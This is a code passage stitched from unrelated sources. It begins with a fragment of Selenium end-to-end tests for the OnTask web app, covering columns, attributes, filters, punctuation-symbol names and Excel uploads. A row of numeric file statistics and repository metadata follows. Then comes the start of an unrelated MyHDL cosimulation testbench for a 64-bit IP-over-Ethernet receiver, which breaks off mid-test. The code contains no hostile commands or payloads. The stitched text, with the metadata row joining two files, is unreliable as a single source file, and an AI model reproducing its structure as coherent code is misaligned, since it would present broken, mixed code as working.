self.selenium.find_element_by_id("id_name").click()
self.selenium.find_element_by_id("id_name").clear()
self.selenium.find_element_by_id("id_name").send_keys(symbols)
# Click in the submit/save button
self.selenium.find_element_by_xpath("//button[@type='submit']").click()
# MODAL WAITING
WebDriverWait(self.selenium, 10).until_not(
EC.presence_of_element_located(
(By.CLASS_NAME, 'modal-open')
)
)
# Wait for the table to be refreshed
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'column-table_previous'))
)
# Click in the New Column button
self.selenium.find_element_by_class_name(
'js-workflow-column-add'
).click()
WebDriverWait(self.selenium, 10).until(
EC.text_to_be_present_in_element(
(By.XPATH, "//div[@id='modal-item']/div/div/form/div/h4"),
'Add column')
)
# Set name to symbols (new column) and type to string
self.selenium.find_element_by_id("id_name").click()
self.selenium.find_element_by_id("id_name").clear()
self.selenium.find_element_by_id("id_name").send_keys(symbols)
self.selenium.find_element_by_id("id_data_type").click()
Select(self.selenium.find_element_by_id(
"id_data_type"
)).select_by_visible_text("string")
# Save the new column
self.selenium.find_element_by_xpath("//button[@type='submit']").click()
# There should be a message saying that the name of this column already
# exists
self.assertIn('There is a column already with this name',
self.selenium.page_source)
# Click again in the name and introduce something different
self.selenium.find_element_by_id("id_name").click()
self.selenium.find_element_by_id("id_name").clear()
self.selenium.find_element_by_id("id_name").send_keys(symbols + '2')
# Save the new column
self.selenium.find_element_by_xpath("//button[@type='submit']").click()
self.wait_close_modal_refresh_table('column-table_previous')
# Click in the attributes section
self.selenium.find_element_by_xpath(
"//div[@id='workflow-area']/div/button[3]"
).click()
self.selenium.find_element_by_link_text('Attributes').click()
WebDriverWait(self.selenium, 10).until(
EC.element_to_be_clickable((By.CLASS_NAME, 'js-attribute-create'))
)
# Delete the existing one and confirm deletion
self.selenium.find_element_by_xpath(
"//table[@id='attribute-table']/tbody/tr/td[3]/button[2]"
).click()
# Wait for the delete confirmation frame
WebDriverWait(self.selenium, 10).until(
EC.text_to_be_present_in_element((By.CLASS_NAME, 'modal-title'),
'Confirm attribute deletion')
)
# Click in the delete confirm button
self.selenium.find_element_by_xpath(
"//div[@class='modal-footer']/button[2]"
).click()
# MODAL WAITING
WebDriverWait(self.selenium, 10).until_not(
EC.presence_of_element_located(
(By.CLASS_NAME, 'modal-open')
)
)
# Add a new attribute and insert key (symbols) and value
self.selenium.find_element_by_xpath(
"(//button[@type='button'])[2]").click()
WebDriverWait(self.selenium, 10).until(
EC.text_to_be_present_in_element(
(By.XPATH, "//div[@id='modal-item']/div/div/form/div/h4"),
'Create attribute')
)
# Add key and value
self.selenium.find_element_by_id("id_key").click()
self.selenium.find_element_by_id("id_key").clear()
self.selenium.find_element_by_id("id_key").send_keys(symbols + '3')
self.selenium.find_element_by_id("id_value").click()
self.selenium.find_element_by_id("id_value").clear()
self.selenium.find_element_by_id("id_value").send_keys("vvv")
# Submit new attribute
self.selenium.find_element_by_xpath(
"//div[@class='modal-footer']/button[2]"
).click()
# MODAL WAITING
WebDriverWait(self.selenium, 10).until_not(
EC.presence_of_element_located(
(By.CLASS_NAME, 'modal-open')
)
)
# Save and close the attribute page
self.selenium.find_element_by_link_text('Back').click()
# Click in the TABLE link
self.selenium.find_element_by_link_text("Table").click()
# Wait for paging widget
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'table-data_previous'))
)
# Verify that everything appears normally
self.assertIn(escape(symbols), self.selenium.page_source)
self.assertIn(escape(symbols + '2'), self.selenium.page_source)
# Click in the Actions navigation menu
self.selenium.find_element_by_link_text("Actions").click()
# Edit the action-in
self.selenium.find_element_by_link_text("Edit").click()
# Set the right columns to process
self.selenium.find_element_by_css_selector(
"div.sol-input-container > input[type=\"text\"]"
).click()
# self.selenium.find_element_by_name("columns").click()
self.selenium.find_element_by_xpath(
"(//input[@name='columns'])[2]"
).click()
self.selenium.find_element_by_xpath(
"(//input[@name='columns'])[4]"
).click()
self.selenium.find_element_by_xpath(
"(//input[@name='columns'])[5]"
).click()
self.selenium.find_element_by_css_selector(
"div.container-fluid"
).click()
# Submit the new action in
self.selenium.find_element_by_xpath(
"(//button[@name='Submit'])[2]").click()
# Wait for paging widget
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'action-table_previous'))
)
# Click in the RUN link of the action in
self.selenium.find_element_by_link_text("Run").click()
# Wait for paging widget
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'actioninrun-data_previous'))
)
# Enter data using the RUN menu. Select one entry to populate
self.selenium.find_element_by_link_text("1").click()
self.selenium.find_element_by_id("id____ontask___select_1").click()
self.selenium.find_element_by_id("id____ontask___select_1").clear()
self.selenium.find_element_by_id("id____ontask___select_1").send_keys(
"Carmelo Coton2")
self.selenium.find_element_by_id("id____ontask___select_2").click()
self.selenium.find_element_by_id("id____ontask___select_2").clear()
self.selenium.find_element_by_id("id____ontask___select_2").send_keys(
"xxx"
)
# Submit the data for one entry
self.selenium.find_element_by_xpath(
"//body/div[3]/div/form/button[1]/span").click()
# Wait for paging widget
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'actioninrun-data_previous'))
)
# Go Back to the action table
self.selenium.find_element_by_xpath(
"(//button[@type='button'])[2]").click()
# Wait for paging widget
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'action-table_previous'))
)
# Edit the action out
self.selenium.find_element_by_xpath(
"//table[@id='action-table']/tbody/tr[2]/td[5]/div/a").click()
# Insert attribute
self.selenium.find_element_by_id("select-attribute-name").click()
Select(self.selenium.find_element_by_id(
"select-attribute-name")).select_by_visible_text("-----")
# Insert column name
self.selenium.find_element_by_id("select-column-name").click()
Select(self.selenium.find_element_by_id(
"select-column-name")).select_by_visible_text(symbols)
# Insert second column name
self.selenium.find_element_by_id("select-column-name").click()
Select(self.selenium.find_element_by_id(
"select-column-name")).select_by_visible_text(symbols + '2')
# Create new condition
self.selenium.find_element_by_xpath(
"(//button[@type='button'])[3]").click()
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'id_description_text')))
# Set the values of the condition
self.selenium.find_element_by_id("id_name").click()
self.selenium.find_element_by_id("id_name").clear()
self.selenium.find_element_by_id("id_name").send_keys(symbols + "4")
self.selenium.find_element_by_id("id_description_text").click()
self.selenium.find_element_by_name("builder_rule_0_filter").click()
Select(self.selenium.find_element_by_name(
"builder_rule_0_filter")).select_by_visible_text(symbols)
self.selenium.find_element_by_name("builder_rule_0_operator").click()
Select(self.selenium.find_element_by_name(
"builder_rule_0_operator")).select_by_visible_text(
"begins with")
self.selenium.find_element_by_name("builder_rule_0_value_0").click()
self.selenium.find_element_by_name("builder_rule_0_value_0").clear()
self.selenium.find_element_by_name("builder_rule_0_value_0").send_keys(
"C")
# Save the condition
self.selenium.find_element_by_xpath(
"(//button[@type='submit'])[3]").click()
WebDriverWait(self.selenium, 10).until_not(
EC.presence_of_element_located(
(By.CLASS_NAME, 'modal-open')
)
)
# Create a filter
self.selenium.find_element_by_xpath(
"(//button[@type='button'])[2]").click()
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'id_description_text')))
# Fill in the details
self.selenium.find_element_by_id("id_name").click()
self.selenium.find_element_by_id("id_name").clear()
self.selenium.find_element_by_id("id_name").send_keys(symbols)
self.selenium.find_element_by_name("builder_rule_0_filter").click()
Select(self.selenium.find_element_by_name(
"builder_rule_0_filter")).select_by_visible_text(symbols)
self.selenium.find_element_by_name("builder_rule_0_operator").click()
Select(self.selenium.find_element_by_name(
"builder_rule_0_operator")).select_by_visible_text(
"doesn't begin with")
self.selenium.find_element_by_name("builder_rule_0_value_0").click()
self.selenium.find_element_by_name("builder_rule_0_value_0").clear()
self.selenium.find_element_by_name("builder_rule_0_value_0").send_keys(
"x")
# Save the filter
self.selenium.find_element_by_xpath(
"(//button[@type='submit'])[3]").click()
WebDriverWait(self.selenium, 10).until_not(
EC.presence_of_element_located(
(By.CLASS_NAME, 'modal-open')
)
)
# Click the preview button
self.selenium.find_element_by_xpath(
"//div[@id='html-editor']/form/div[3]/button").click()
WebDriverWait(self.selenium, 10).until(
EC.element_to_be_clickable((By.CLASS_NAME, 'js-action-preview-nxt'))
)
# Certain name should be in the page now.
self.assertIn('Carmelo Coton', self.selenium.page_source)
# Click in the "Close" button
self.selenium.find_element_by_xpath(
"//div[@id='modal-item']/div/div/div/div[2]/button[2]").click()
# End of session
self.logout()
def test_02_symbols(self):
symbols = '!#$%&()*+,-./:;<=>?@[\]^_`{|}~'
# Login
self.login('instructor1@bogus.com')
self.open(reverse('workflow:index'))
# GO TO THE WORKFLOW PAGE
WebDriverWait(self.selenium, 10).until(
EC.title_is('OnTask :: Workflows'))
self.assertIn('New Workflow', self.selenium.page_source)
self.assertIn('Import', self.selenium.page_source)
# Open the workflow
wf_link = self.selenium.find_element_by_link_text('sss')
wf_link.click()
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'column-table_previous'))
)
# Select the email column and click in the edit button
self.selenium.find_element_by_xpath(
"//table[@id='column-table']/tbody/tr[1]/td[4]/div/button"
).click()
self.selenium.find_element_by_xpath(
"//table[@id='column-table']/tbody/tr[1]/td[4]/div/ul/li[1]/button"
).click()
# Wait for the form to create the derived column
WebDriverWait(self.selenium, 10).until(
EC.text_to_be_present_in_element(
(By.XPATH, "//div[@id='modal-item']/div/div/form/div/h4"),
'Edit column')
)
# Append symbols to the name
self.selenium.find_element_by_id("id_name").click()
self.selenium.find_element_by_id("id_name").send_keys(symbols)
# Save column information
self.selenium.find_element_by_xpath("//button[@type='submit']").click()
self.wait_close_modal_refresh_table('column-table_previous')
# Select the age column and click in the edit button
self.selenium.find_element_by_xpath(
"//table[@id='column-table']/tbody/tr[3]/td[4]/div/button"
).click()
self.selenium.find_element_by_xpath(
"//table[@id='column-table']/tbody/tr[3]/td[4]/div/ul/li[1]/button"
).click()
# Append symbols to the name
self.selenium.find_element_by_id("id_name").click()
self.selenium.find_element_by_id("id_name").send_keys(symbols)
# Save column information
self.selenium.find_element_by_xpath("//button[@type='submit']").click()
self.wait_close_modal_refresh_table('column-table_previous')
# Go to the table link
self.selenium.find_element_by_link_text("Table").click()
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'table-data_previous'))
)
# Verify that everything appears normally
self.assertIn(escape(symbols), self.selenium.page_source)
self.assertIn('<td class=" dt-center">12</td>',
self.selenium.page_source)
self.assertIn('<td class=" dt-center">12.1</td>',
self.selenium.page_source)
self.assertIn('<td class=" dt-center">13.2</td>',
self.selenium.page_source)
# Go to the actions page
self.selenium.find_element_by_link_text("Actions").click()
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'action-table_previous'))
)
# Edit the action-in at the top of the table
self.selenium.find_element_by_link_text("Edit").click()
# Set the correct values for an action-in
self.selenium.find_element_by_css_selector(
"div.sol-input-container > input[type=\"text\"]"
).click()
self.selenium.find_element_by_xpath(
"(//input[@name='columns'])[4]"
).click()
self.selenium.find_element_by_xpath(
"(//input[@name='columns'])[1]"
).click()
self.selenium.find_element_by_css_selector(
"div.sol-current-selection"
).click()
self.selenium.find_element_by_xpath(
"(//button[@name='Submit'])[2]"
).click()
self.wait_close_modal_refresh_table('action-table_previous')
# Click in the run link
self.selenium.find_element_by_link_text("Run").click()
# Wait for paging widget
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'actioninrun-data_previous'))
)
# Click on the first value
self.selenium.find_element_by_link_text("student1@bogus.com").click()
# Modify the value of the column
self.selenium.find_element_by_id("id____ontask___select_1").click()
self.selenium.find_element_by_id("id____ontask___select_1").clear()
self.selenium.find_element_by_id("id____ontask___select_1").send_keys(
"14"
)
# Submit changes to the first element
self.selenium.find_element_by_xpath(
"(//button[@name='submit'])[2]"
).click()
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'actioninrun-data_previous'))
)
# Click on the second value
self.selenium.find_element_by_link_text("student2@bogus.com").click()
# Modify the value of the column
self.selenium.find_element_by_id("id____ontask___select_1").clear()
self.selenium.find_element_by_id(
"id____ontask___select_1"
).send_keys("15")
# Submit changes to the second element
self.selenium.find_element_by_xpath(
"(//button[@name='submit'])[2]"
).click()
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'actioninrun-data_previous'))
)
# Click on the third value
self.selenium.find_element_by_link_text("student3@bogus.com").click()
# Modify the value of the column
self.selenium.find_element_by_id("id____ontask___select_1").click()
self.selenium.find_element_by_id("id____ontask___select_1").clear()
self.selenium.find_element_by_id(
"id____ontask___select_1"
).send_keys("16")
# Submit changes to the second element
self.selenium.find_element_by_xpath(
"(//button[@name='submit'])[2]"
).click()
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'actioninrun-data_previous'))
)
# Click in the back link!
self.selenium.find_element_by_xpath(
"(//button[@type='button'])[2]"
).click()
# Wait for page to refresh
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'action-table_previous'))
)
# Go to the table page
self.selenium.find_element_by_link_text("Table").click()
# Wait for paging widget
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'table-data_previous'))
)
# Assert the new values
self.assertIn('<td class=" dt-center">14</td>',
self.selenium.page_source)
self.assertIn('<td class=" dt-center">15</td>',
self.selenium.page_source)
self.assertIn('<td class=" dt-center">16</td>',
self.selenium.page_source)
# End of session
self.logout()
class DataopsExcelUpload(test.OntaskLiveTestCase):
fixtures = ['empty_wflow']
def tearDown(self):
pandas_db.delete_all_tables()
super(DataopsExcelUpload, self).tearDown()
def test_01_excelupload(self):
# Login
self.login('instructor1@bogus.com')
self.open(reverse('workflow:index'))
# GO TO THE WORKFLOW PAGE
WebDriverWait(self.selenium, 10).until(
EC.title_is('OnTask :: Workflows'))
self.assertIn('New Workflow', self.selenium.page_source)
self.assertIn('Import', self.selenium.page_source)
# Open the workflow
wf_link = self.selenium.find_element_by_link_text('wflow1')
wf_link.click()
self.selenium.find_element_by_link_text("Dataops").click()
self.selenium.find_element_by_link_text("Excel Upload/Merge").click()
self.selenium.find_element_by_id("id_file").send_keys(
os.path.join(settings.BASE_DIR(),
'dataops',
'fixtures',
'excel_upload.xlsx')
)
self.selenium.find_element_by_id("id_sheet").click()
self.selenium.find_element_by_id("id_sheet").clear()
self.selenium.find_element_by_id("id_sheet").send_keys("results")
self.selenium.find_element_by_name("Submit").click()
WebDriverWait(self.selenium, 10).until(
EC.element_to_be_clickable(
(By.ID, 'checkAll'))
)
self.selenium.find_element_by_id("checkAll").click()
self.selenium.find_element_by_name("Submit").click()
# The number of rows must be 29
wflow = Workflow.objects.all()[0]
self.assertEqual(wflow.nrows, 29)
self.assertEqual(wflow.ncols, 14)
# End of session
self.logout()
class DataopsExcelUploadSheet(test.OntaskLiveTestCase):
fixtures = ['empty_wflow']
def tearDown(self):
pandas_db.delete_all_tables()
super(DataopsExcelUploadSheet, self).tearDown()
def test_01_excelupload_sheet(self):
# Login
self.login('instructor1@bogus.com')
self.open(reverse('workflow:index'))
# GO TO THE WORKFLOW PAGE
WebDriverWait(self.selenium, 10).until(
EC.title_is('OnTask :: Workflows'))
self.assertIn('New Workflow', self.selenium.page_source)
self.assertIn('Import', self.selenium.page_source)
# Open the workflow
wf_link = self.selenium.find_element_by_link_text('wflow1')
wf_link.click()
self.selenium.find_element_by_link_text("Dataops").click()
self.selenium.find_element_by_link_text("Excel Upload/Merge").click()
self.selenium.find_element_by_id("id_file").send_keys(
os.path.join(settings.BASE_DIR(),
'dataops',
'fixtures',
'excel_upload.xlsx')
)
self.selenium.find_element_by_id("id_sheet").click()
self.selenium.find_element_by_id("id_sheet").clear()
self.selenium.find_element_by_id("id_sheet").send_keys("second sheet")
self.selenium.find_element_by_name("Submit").click()
WebDriverWait(self.selenium, 10).until(
EC.element_to_be_clickable(
(By.ID, 'checkAll'))
)
self.selenium.find_element_by_id("checkAll").click()
self.selenium.find_element_by_name("Submit").click()
WebDriverWait(self.selenium, 10).until(
EC.element_to_be_clickable(
(By.LINK_TEXT, 'Excel Upload/Merge'))
)
# The number of rows must be 19
wflow = Workflow.objects.all()[0]
self.assertEqual(wflow.nrows, 19)
self.assertEqual(wflow.ncols, 14)
# End of session
self.logout()
| 39.326154 | 80 | 0.627064 | 3,173 | 25,562 | 4.759218 | 0.087299 | 0.156546 | 0.149394 | 0.214754 | 0.859744 | 0.847494 | 0.824978 | 0.810211 | 0.761407 | 0.722071 | 0 | 0.011122 | 0.247281 | 25,562 | 649 | 81 | 39.386749 | 0.773712 | 0.106447 | 0 | 0.668142 | 0 | 0.019912 | 0.190801 | 0.121806 | 0 | 0 | 0 | 0 | 0.050885 | 1 | 0.017699 | false | 0 | 0.035398 | 0 | 0.068584 | 0.002212 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
62b349566b0b4efa331e6ff59c8728223d0e6da9 | 37,659 | py | Python | tb/test_ip_eth_rx_64.py | junganghu/verilog-ethernet | cd6b87e984ff7cbeaf11f9468124019f5e654bdb | [
"MIT"
] | 1 | 2021-04-29T08:37:07.000Z | 2021-04-29T08:37:07.000Z | tb/test_ip_eth_rx_64.py | zslwyuan/verilog-ethernet | cd6b87e984ff7cbeaf11f9468124019f5e654bdb | [
"MIT"
] | null | null | null | tb/test_ip_eth_rx_64.py | zslwyuan/verilog-ethernet | cd6b87e984ff7cbeaf11f9468124019f5e654bdb | [
"MIT"
] | 1 | 2021-09-25T05:45:18.000Z | 2021-09-25T05:45:18.000Z | #!/usr/bin/env python
"""
Copyright (c) 2014-2018 Alex Forencich
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
"""
from myhdl import *
import os
import eth_ep
import ip_ep
module = 'ip_eth_rx_64'
testbench = 'test_%s' % module
srcs = []
srcs.append("../rtl/%s.v" % module)
srcs.append("%s.v" % testbench)
src = ' '.join(srcs)
build_cmd = "iverilog -o %s.vvp %s" % (testbench, src)
def bench():
# Inputs
clk = Signal(bool(0))
rst = Signal(bool(0))
current_test = Signal(intbv(0)[8:])
s_eth_hdr_valid = Signal(bool(0))
s_eth_dest_mac = Signal(intbv(0)[48:])
s_eth_src_mac = Signal(intbv(0)[48:])
s_eth_type = Signal(intbv(0)[16:])
s_eth_payload_axis_tdata = Signal(intbv(0)[64:])
s_eth_payload_axis_tkeep = Signal(intbv(0)[8:])
s_eth_payload_axis_tvalid = Signal(bool(0))
s_eth_payload_axis_tlast = Signal(bool(0))
s_eth_payload_axis_tuser = Signal(bool(0))
m_ip_hdr_ready = Signal(bool(0))
m_ip_payload_axis_tready = Signal(bool(0))
# Outputs
s_eth_hdr_ready = Signal(bool(0))
s_eth_payload_axis_tready = Signal(bool(0))
m_ip_hdr_valid = Signal(bool(0))
m_eth_dest_mac = Signal(intbv(0)[48:])
m_eth_src_mac = Signal(intbv(0)[48:])
m_eth_type = Signal(intbv(0)[16:])
m_ip_version = Signal(intbv(0)[4:])
m_ip_ihl = Signal(intbv(0)[4:])
m_ip_dscp = Signal(intbv(0)[6:])
m_ip_ecn = Signal(intbv(0)[2:])
m_ip_length = Signal(intbv(0)[16:])
m_ip_identification = Signal(intbv(0)[16:])
m_ip_flags = Signal(intbv(0)[3:])
m_ip_fragment_offset = Signal(intbv(0)[13:])
m_ip_ttl = Signal(intbv(0)[8:])
m_ip_protocol = Signal(intbv(0)[8:])
m_ip_header_checksum = Signal(intbv(0)[16:])
m_ip_source_ip = Signal(intbv(0)[32:])
m_ip_dest_ip = Signal(intbv(0)[32:])
m_ip_payload_axis_tdata = Signal(intbv(0)[64:])
m_ip_payload_axis_tkeep = Signal(intbv(0)[8:])
m_ip_payload_axis_tvalid = Signal(bool(0))
m_ip_payload_axis_tlast = Signal(bool(0))
m_ip_payload_axis_tuser = Signal(bool(0))
busy = Signal(bool(0))
error_header_early_termination = Signal(bool(0))
error_payload_early_termination = Signal(bool(0))
error_invalid_header = Signal(bool(0))
error_invalid_checksum = Signal(bool(0))
# sources and sinks
source_pause = Signal(bool(0))
sink_pause = Signal(bool(0))
source = eth_ep.EthFrameSource()
source_logic = source.create_logic(
clk,
rst,
eth_hdr_ready=s_eth_hdr_ready,
eth_hdr_valid=s_eth_hdr_valid,
eth_dest_mac=s_eth_dest_mac,
eth_src_mac=s_eth_src_mac,
eth_type=s_eth_type,
eth_payload_tdata=s_eth_payload_axis_tdata,
eth_payload_tkeep=s_eth_payload_axis_tkeep,
eth_payload_tvalid=s_eth_payload_axis_tvalid,
eth_payload_tready=s_eth_payload_axis_tready,
eth_payload_tlast=s_eth_payload_axis_tlast,
eth_payload_tuser=s_eth_payload_axis_tuser,
pause=source_pause,
name='source'
)
sink = ip_ep.IPFrameSink()
sink_logic = sink.create_logic(
clk,
rst,
ip_hdr_ready=m_ip_hdr_ready,
ip_hdr_valid=m_ip_hdr_valid,
eth_dest_mac=m_eth_dest_mac,
eth_src_mac=m_eth_src_mac,
eth_type=m_eth_type,
ip_version=m_ip_version,
ip_ihl=m_ip_ihl,
ip_dscp=m_ip_dscp,
ip_ecn=m_ip_ecn,
ip_length=m_ip_length,
ip_identification=m_ip_identification,
ip_flags=m_ip_flags,
ip_fragment_offset=m_ip_fragment_offset,
ip_ttl=m_ip_ttl,
ip_protocol=m_ip_protocol,
ip_header_checksum=m_ip_header_checksum,
ip_source_ip=m_ip_source_ip,
ip_dest_ip=m_ip_dest_ip,
ip_payload_tdata=m_ip_payload_axis_tdata,
ip_payload_tkeep=m_ip_payload_axis_tkeep,
ip_payload_tvalid=m_ip_payload_axis_tvalid,
ip_payload_tready=m_ip_payload_axis_tready,
ip_payload_tlast=m_ip_payload_axis_tlast,
ip_payload_tuser=m_ip_payload_axis_tuser,
pause=sink_pause,
name='sink'
)
# DUT
if os.system(build_cmd):
raise Exception("Error running build command")
dut = Cosimulation(
"vvp -m myhdl %s.vvp -lxt2" % testbench,
clk=clk,
rst=rst,
current_test=current_test,
s_eth_hdr_valid=s_eth_hdr_valid,
s_eth_hdr_ready=s_eth_hdr_ready,
s_eth_dest_mac=s_eth_dest_mac,
s_eth_src_mac=s_eth_src_mac,
s_eth_type=s_eth_type,
s_eth_payload_axis_tdata=s_eth_payload_axis_tdata,
s_eth_payload_axis_tkeep=s_eth_payload_axis_tkeep,
s_eth_payload_axis_tvalid=s_eth_payload_axis_tvalid,
s_eth_payload_axis_tready=s_eth_payload_axis_tready,
s_eth_payload_axis_tlast=s_eth_payload_axis_tlast,
s_eth_payload_axis_tuser=s_eth_payload_axis_tuser,
m_ip_hdr_valid=m_ip_hdr_valid,
m_ip_hdr_ready=m_ip_hdr_ready,
m_eth_dest_mac=m_eth_dest_mac,
m_eth_src_mac=m_eth_src_mac,
m_eth_type=m_eth_type,
m_ip_version=m_ip_version,
m_ip_ihl=m_ip_ihl,
m_ip_dscp=m_ip_dscp,
m_ip_ecn=m_ip_ecn,
m_ip_length=m_ip_length,
m_ip_identification=m_ip_identification,
m_ip_flags=m_ip_flags,
m_ip_fragment_offset=m_ip_fragment_offset,
m_ip_ttl=m_ip_ttl,
m_ip_protocol=m_ip_protocol,
m_ip_header_checksum=m_ip_header_checksum,
m_ip_source_ip=m_ip_source_ip,
m_ip_dest_ip=m_ip_dest_ip,
m_ip_payload_axis_tdata=m_ip_payload_axis_tdata,
m_ip_payload_axis_tkeep=m_ip_payload_axis_tkeep,
m_ip_payload_axis_tvalid=m_ip_payload_axis_tvalid,
m_ip_payload_axis_tready=m_ip_payload_axis_tready,
m_ip_payload_axis_tlast=m_ip_payload_axis_tlast,
m_ip_payload_axis_tuser=m_ip_payload_axis_tuser,
busy=busy,
error_header_early_termination=error_header_early_termination,
error_payload_early_termination=error_payload_early_termination,
error_invalid_header=error_invalid_header,
error_invalid_checksum=error_invalid_checksum
)
@always(delay(4))
def clkgen():
clk.next = not clk
error_header_early_termination_asserted = Signal(bool(0))
error_payload_early_termination_asserted = Signal(bool(0))
error_invalid_header_asserted = Signal(bool(0))
error_invalid_checksum_asserted = Signal(bool(0))
@always(clk.posedge)
def monitor():
if (error_header_early_termination):
error_header_early_termination_asserted.next = 1
if (error_payload_early_termination):
error_payload_early_termination_asserted.next = 1
if (error_invalid_header):
error_invalid_header_asserted.next = 1
if (error_invalid_checksum):
error_invalid_checksum_asserted.next = 1
def wait_normal():
while s_eth_payload_axis_tvalid or m_ip_payload_axis_tvalid or s_eth_hdr_valid:
yield clk.posedge
def wait_pause_source():
while s_eth_payload_axis_tvalid or m_ip_payload_axis_tvalid or s_eth_hdr_valid:
source_pause.next = True
yield clk.posedge
yield clk.posedge
yield clk.posedge
source_pause.next = False
yield clk.posedge
def wait_pause_sink():
while s_eth_payload_axis_tvalid or m_ip_payload_axis_tvalid or s_eth_hdr_valid:
sink_pause.next = True
yield clk.posedge
yield clk.posedge
yield clk.posedge
sink_pause.next = False
yield clk.posedge
@instance
def check():
yield delay(100)
yield clk.posedge
rst.next = 1
yield clk.posedge
rst.next = 0
yield clk.posedge
yield delay(100)
yield clk.posedge
for payload_len in range(1,18):
yield clk.posedge
print("test 1: test packet, length %d" % payload_len)
current_test.next = 1
test_frame = ip_ep.IPFrame()
test_frame.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame.eth_src_mac = 0x5A5152535455
test_frame.eth_type = 0x0800
test_frame.ip_version = 4
test_frame.ip_ihl = 5
test_frame.ip_length = None
test_frame.ip_identification = 0
test_frame.ip_flags = 2
test_frame.ip_fragment_offset = 0
test_frame.ip_ttl = 64
test_frame.ip_protocol = 0x11
test_frame.ip_header_checksum = None
test_frame.ip_source_ip = 0xc0a80164
test_frame.ip_dest_ip = 0xc0a80165
test_frame.payload = bytearray(range(payload_len))
test_frame.build()
eth_frame = test_frame.build_eth()
for wait in wait_normal, wait_pause_source, wait_pause_sink:
source.send(eth_frame)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame
assert sink.empty()
yield delay(100)
yield clk.posedge
print("test 2: back-to-back packets, length %d" % payload_len)
current_test.next = 2
test_frame1 = ip_ep.IPFrame()
test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame1.eth_src_mac = 0x5A5152535455
test_frame1.eth_type = 0x0800
test_frame1.ip_version = 4
test_frame1.ip_ihl = 5
test_frame1.ip_length = None
test_frame1.ip_identification = 0
test_frame1.ip_flags = 2
test_frame1.ip_fragment_offset = 0
test_frame1.ip_ttl = 64
test_frame1.ip_protocol = 0x11
test_frame1.ip_header_checksum = None
test_frame1.ip_source_ip = 0xc0a80164
test_frame1.ip_dest_ip = 0xc0a80165
test_frame1.payload = bytearray(range(payload_len))
test_frame1.build()
test_frame2 = ip_ep.IPFrame()
test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame2.eth_src_mac = 0x5A5152535455
test_frame2.eth_type = 0x0800
test_frame2.ip_version = 4
test_frame2.ip_ihl = 5
test_frame2.ip_length = None
test_frame2.ip_identification = 0
test_frame2.ip_flags = 2
test_frame2.ip_fragment_offset = 0
test_frame2.ip_ttl = 64
test_frame2.ip_protocol = 0x11
test_frame2.ip_header_checksum = None
test_frame2.ip_source_ip = 0xc0a80164
test_frame2.ip_dest_ip = 0xc0a80166
test_frame2.payload = bytearray(range(payload_len))
test_frame2.build()
eth_frame1 = test_frame1.build_eth()
eth_frame2 = test_frame2.build_eth()
for wait in wait_normal, wait_pause_source, wait_pause_sink:
source.send(eth_frame1)
source.send(eth_frame2)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame1
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame2
assert sink.empty()
yield delay(100)
yield clk.posedge
print("test 3: tuser assert, length %d" % payload_len)
current_test.next = 3
test_frame1 = ip_ep.IPFrame()
test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame1.eth_src_mac = 0x5A5152535455
test_frame1.eth_type = 0x0800
test_frame1.ip_version = 4
test_frame1.ip_ihl = 5
test_frame1.ip_length = None
test_frame1.ip_identification = 0
test_frame1.ip_flags = 2
test_frame1.ip_fragment_offset = 0
test_frame1.ip_ttl = 64
test_frame1.ip_protocol = 0x11
test_frame1.ip_header_checksum = None
test_frame1.ip_source_ip = 0xc0a80164
test_frame1.ip_dest_ip = 0xc0a80165
test_frame1.payload = bytearray(range(payload_len))
test_frame1.build()
test_frame2 = ip_ep.IPFrame()
